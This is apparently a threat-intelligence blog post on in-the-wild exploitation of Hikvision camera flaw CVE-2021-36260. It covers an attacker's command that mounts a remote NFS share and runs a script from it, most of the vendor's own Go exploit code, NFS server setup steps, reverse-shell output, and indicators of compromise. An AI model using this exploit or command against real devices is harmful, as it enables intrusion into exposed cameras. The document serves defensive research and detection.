Key Takeaways
mount
as a “download and execute” GTFOBin while attempting to exploit Hikvision CVE-2021-36260.mount
was added to the binary dropper payloads in VulnCheck’s go-exploit framework.Introduction
CVE-2021-36260 is still very viable. Shodan shows over one million potentially vulnerable internet-facing targets1, many with Last-Modified
headers dating back to the last decade.
These systems are ideal for internal pivots or building proxy networks, which makes it unsurprising that CVE-2021-36260 regularly appears in joint cybersecurity advisories2 and is associated with advanced threat actors like Flax Typhoon3 and Fancy Bear4. The GreyNoise tag5 is consistently active, and Shadowserver observes exploitation attempts daily6. Shockingly (or not), attackers like useful systems.
Given all that, when our canaries are hit with CVE-2021-36260 exploit attempts, it doesn’t exactly move the excitement needle. However, one recent attempt did catch our attention.
CVE-2021-36260 is a command injection vulnerability affecting the /SDK/webLanguage
endpoint. Typically, attackers will use this endpoint to drop a malicious binary and execute it. However, this Hikvision system doesn’t have any of the classic GTFOBins7 to download a remote file (e.g. curl
, wget
, tftp
, and openssl
are all missing. scp
is broken). Attackers need to be creative. Metasploit8 uses printf
to write the Meterpreter stager to disk in 20ish byte chunks (each exploit attempt must fit within a 26 byte buffer), which is quite slow. VulnCheck’s Initial Access Intelligence implementation sidesteps this issue by dropping a shell script that creates a reverse shell using telnetd
and mknod
, but that’s hardly as powerful as Meterpreter.
All that is to say, if you want to drop a binary by exploiting CVE-2021-36260 then you have to do a little work. That is why we appreciated the attacker’s exploit attempt shown above. It used a technique we hadn’t seen before as an initial binary dropper. This attacker leveraged the command injection to mount a remote NFS share and executed a file off of it.
$(mkdir b; mount -o intr,nolock,tcp,exec 87.121.84[.]34:/srv/nfs/shared b; cd b; chmod 777 *;sh hik.sh;cd ../;rm -rf weblib/;rm -rf b)
The official GTFOBin website doesn’t have a “file download” attribute for the mount
binary9; it’s only documented as a privilege escalation GTFOBin, but it is useful in this new (maybe obvious) capacity. In the command above, the attacker tells mount
to make the remote NFS share, /srv/nfs/shared
, on 87.121.84[.]34 available locally as the directory ./b
.
To do this, mount
first contacts the remote port mapper10 (tcp/111 or udp/111) to discover the NFS service port, then mounts the directory using NFS (tcp/2049 by default).
This technique neatly sidesteps the problem Metasploit has (creating a file by using printf
in small chunks is very slow), and avoids relying on a reverse shell to drop a binary as our exploit does. Additionally, this technique benefits from avoiding common network signatures, such as TGI HUNT Curl to Bare IP Address11 or ET POLICY curl User-Agent Outbound12 that look for wget
and curl
on the network.
Below you can see how this attack would look if it were successful. The Wireshark traffic transitions from HTTP, to PortMap, to NFS.
Overall, it’s a great little GTFOBin when options are limited. While server setup is a bit more involved than one might like, the technique benefits from being less common, and thus, less likely to trigger existing detections.
Adding the Technique to go-exploit
We found this technique useful enough to update VulnCheck’s open-source exploit framework, go-exploit, to include a new binary dropper payload that implements this mount
-based attack. Since we always strive to think and act like real attackers, we also developed a new variant of our CVE-2021-36260 exploit for our customers that uses mount
. Because this is somewhat novel, we’re sharing most of the exploit implementation here:
// Send the exploit payload in the required HTTP PUT
func send(url string, payload string) bool {
resp, bodyString, ok := protocol.HTTPSendAndRecv("PUT", url, payload)
if !ok {
return false
}
if resp.StatusCode != 200 && resp.StatusCode != 500 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
if !strings.Contains(bodyString, "<requestURL>/SDK/webLanguage</requestURL>") {
output.PrintfError("Received an unexpected HTTP body: %s", bodyString)
return false
}
return true
}
func (sploit HikvisionExploitMount) RunExploit(conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/SDK/webLanguage")
switch conf.C2Type {
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for %s:%d", conf.Lhost, conf.Lport)
// generate a random directory to mount to
randDir := random.RandLetters(3)
mountCommand := dropper.Unix.Mountv3Only(conf.Lhost, conf.GetStringFlag("share"), "./"+randDir)
// split the exploit into 7 byte chunks that we can append to a local script
mountSplit := splitByByteSize(mountCommand, 7)
// the exploit space is very small (23 bytes) so break it up over multiple
// requests. This will echo to a hard-coded filename (y).
if ok := send((url, "<xml><language >$(mkdir "+randDir+")</language></xml>"); !ok {
return false
}
for i, entry := range mountSplit {
// on the first exploit attempt, overwrite anything that might be in `y`
shAppend := ">>"
if i == 0 {
shAppend = ">"
}
if ok := send((url, "<xml><language >$(echo -n '"+entry+"'"+shAppend+"y)</language></xml>"); !ok {
return false
}
}
// execute the script
if ok := send((url, "<xml><language >$(chmod +x y)</language></xml>"); !ok {
return false
}
if ok := send((url, "<xml><language >$(./y)</language></xml>"); !ok {
return false
}
// execute the mounted binary
if ok := send((url, "<xml><language >$(./"+randDir+"/"+conf.GetStringFlag("exploit")+
")</language></xml>"); !ok {
return false
}
default:
output.PrintError("Invalid payload")
return false
}
return true
}
Running this exploit drops a shell script onto the Hikvision system. When executed, the script mounts an attacker-controlled NFS share and runs an attacker-controlled executable.
Setting up an NFS share to support this exploit is straightforward. In an ideal world, we’d just use go-nfs13, but it doesn’t seem compatible with the Hikvision system. Instead, using nfs-kernel-server
is relatively painless. Just install it and create the share:
sudo apt install nfs-kernel-server
sudo mkdir -p /tmp/nfsshare
sudo chown nobody:nogroup /tmp/nfsshare
Then add the share to /etc/exports
:
/tmp/nfsshare *(rw,no_root_squash,no_subtree_check)
Then restart services:
sudo systemctl restart nfs-kernel-server
sudo systemctl restart rpcbind
After this, we can then run the exploit. Below is sample output from our mount
-based exploit.
albinolobster@mournland:~/initial-access/feed/cve-2021-36260/mountvariant$ ./build/cve-2021-36260_linux-arm64 -e -rhost 10.12.70.228 -lhost 10.12.70.252 -lport 1270
time=2025-07-21T16:59:47.167-04:00 level=STATUS msg="Starting listener on 10.12.70.252:1270"
time=2025-07-21T16:59:47.168-04:00 level=STATUS msg="Starting target" index=0 host=10.12.70.228 port=80 ssl=false "ssl auto"=false
time=2025-07-21T16:59:47.168-04:00 level=STATUS msg="Sending a reverse shell payload for 10.12.70.252:1270"
time=2025-07-21T16:59:47.795-04:00 level=SUCCESS msg="Caught new shell from 10.12.70.228:56329"
time=2025-07-21T16:59:47.795-04:00 level=STATUS msg="Active shell from 10.12.70.228:56329"
sh: can't access tty; job control turned off
BusyBox v1.19.3 (2020-04-07 16:08:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ps
PID USER VSZ STAT COMMAND
1 root 1340 S init
… truncated …
2193 root 0 RW [kworker/u:2]
2575 root 1336 S /bin/sh -c tar zxf /dav/$(./xqW/xploit.sh).tar.gz -C
2576 root 1340 S {xploit.sh} /bin/sh ./xqW/xploit.sh
2578 root 1336 S sh -i
2579 root 1340 S telnet 10.12.70.252:1270
2580 root 1340 R ps
Here you can see that exploitation happens, basically, instantly. Much faster than using printf
or echo
to drop the payload.
More On In The Wild
Curiously, the attacker’s exploit doesn't work on our test Hikvision camera. The exploit (greatly) overruns the size limitation imposed by the vulnerable binary. Upon examining the binary, we found that the command injection must respect a strict 0x1f (31-byte) space restriction enforced by a snprintf
call.
Below is a Ghidra screenshot of the decompiled function illustrating this limitation:
Presumably, there is a subset of firmware that uses sprintf
instead of snprintf
, and the attacker has limited themselves to this subset of victims. We do believe that their exploit must work somewhere, though, because we can see their infrastructure on Shodan14.
The attacks we observed originated from 195.3.221[.]137. Our friends over at GreyNoise15 associate this IP address with a handful of other CVEs as well. Additionally, we linked this attacker to payload delivery from these IP addresses: 31.59.40[.]187, 45.125.66[.]79, 87.121.84[.]34, 141.11.62[.]222, 220.158.232[.]99.
Examining a couple of these hosts reveals some real oddball payload delivery mechanisms16. However, not at all oddly, the served binaries appear to be pretty standard Mirai-like17 payloads.
Indicators and Detections
VulnCheck Initial Access Intelligence customers have access to Suricata and Snort rules that detects exploitation of all the aforementioned exploited CVEs:
CVE | VulnCheck SID |
---|---|
CVE-2021-36260 | 12700001 |
Additionally, the following details of the activity we observed should help others detect and block this activity in the future.
Source of exploitation
- 195.3.221[.]137
Malware Hosting & Callback Sites
- 31.59.40[.]187
- 45.125.66[.]79
- 87.121.84[.]34
- 141.11.62[.]222
- 220.158.232[.]99
SHA-1 Hashes
Filename | SHA-1 |
---|---|
a5le1w | 48d2c2c68fa0bd44eb70c1a6cf572406442b289fb6030e946f0530ce6f9fad98 |
About VulnCheck
The VulnCheck team is always on the lookout for new exploitation in the wild. For more research like this, see our blogs, The Linuxsys Coinminer, ProjectSend CVE-2024-11680 Exploited in the Wild,Fileless Remote Code Execution on Juniper Firewalls, and Does Confluence Dream of Shells?.
Sign up on our website today to get free access to our VulnCheck KEV, enjoy our vulnerability data, and request a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence products.
References
Footnotes
- https://www.shodan.io/search?query=html%3A%22%2Fdoc%2Fpage%2Flogin.asp%3F_%22+%2B%22Server%22%2C%22ETag%22%2C%22Version%22 ↩
- https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF ↩
- https://media.defense.gov/2024/Sep/18/2003547016/-1/-1/0/CSA-PRC-LINKED-ACTORS-BOTNET.PDF ↩
- https://www.forescout.com/blog/doj-moobot-botnet-commandeered-by-russian-apt28-analysis-of-attacks-against-routers-and-malware-samples/ ↩
- https://viz.greynoise.io/tags/hikvision-ip-camera-rce-attempt?days=90 ↩
- https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2025-07-17&host_type=src&vulnerability=cve-2021-36260 ↩
- https://gtfobins.github.io/ ↩
- https://github.com/rapid7/metasploit-framework/pull/16204/files#diff-6bb892f1499191dd276796704d22749899d3d7440f51ddc5357ac177ee76b9ab ↩
- https://gtfobins.github.io/gtfobins/mount/ ↩
- https://en.wikipedia.org/wiki/Portmap ↩
- https://github.com/travisbgreen/hunting-rules/blob/master/hunting.rules#L472 ↩
- https://rules.emergingthreats.net/open/suricata-6.0/emerging-all.rules ↩
- https://github.com/willscott/go-nfs ↩
- https://www.shodan.io/host/87.121.84.34 ↩
- https://viz.greynoise.io/ip/195.3.221.137 ↩
- https://www.shodan.io/host/141.11.62.222 ↩
- https://www.virustotal.com/gui/file/48d2c2c68fa0bd44eb70c1a6cf572406442b289fb6030e946f0530ce6f9fad98 ↩